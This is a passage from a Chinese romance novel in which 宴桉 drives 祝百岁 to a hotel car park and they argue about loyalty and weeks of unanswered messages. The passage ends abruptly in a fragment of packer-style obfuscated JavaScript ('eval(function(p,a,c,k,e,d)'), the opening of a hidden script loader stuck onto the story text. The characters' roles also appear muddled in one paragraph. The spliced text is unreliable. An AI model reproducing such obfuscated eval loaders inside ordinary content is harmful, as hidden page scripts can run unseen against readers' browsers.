的平静，带走。他头也不回的说，“真把我当司机？”
后排没传来回声，几秒后，窸窸窣窣的动静响起，一气呵成从后排换到前排，系上安全带。
宴桉这才启动车子上路，一路无言，沉默不如寒风叫人自在，她开了车窗，风噪和刀子雨灌进来，才片刻，车窗自动升上去，又陷入死寂。
她并未借此出声，故作无事发生地看着窗外，车子越过她的家，没有要停下来的意思，她看他一眼，也没开口，好似持续这些天未联系的较劲。
车子平稳地滑入酒店停车场的光影里。熄火后，宴桉的手指并未搭上解锁键。她的余光注意着，也明白他的意思。
断续划过的车灯划过玻璃，也划过紧绷的寂静，似乎在窥探车内异样。终于，没有车再路过，这辆车融入昏暗光线。
“就忠诚问题，我们应该谈谈。”
“哦，我以为你单方面宣布结束，基于此，吃饭认识新朋友的行为不属于此探讨范畴。”
他眉头微蹙，语气里是真实的困惑，“我什么时候单方面宣布了结束？”
这种近乎陌生、置身事外的困惑，好似她才是那个无端搅事的人。
“持续半个月失联，在我看来，是结束的信号。”她学着他的语气，很平，平得像在陈述别人的事。“并且，后续我发过消息给你，你回了吗？你持续无视，那么我也单方面同意了。任何一个正常人，都会这么认为。”
宴桉回忆，是收到过她发的消息，当时在开会，目光划过，意识忽略，大脑没有释放‘回复’信号，就好似当垃圾邮件拦截。后来想起，因内容不重要，不认为事后有再回复的必要。而长达半月未联系，是因海外出差，时差相反，再是无事由可联系。
宴桉：“我不认同，你不应该将臆想和个人情绪混杂，用于判断我的行为动机。”
祝百岁一听，气血上涌，难以克制，“你用你的臆想否定我的观察，又是否属于认知偏见？”
分明自己有错，转移矛盾，将锅盖她
;eval(function(p,a,c,k,e,d){e=function(c){return(c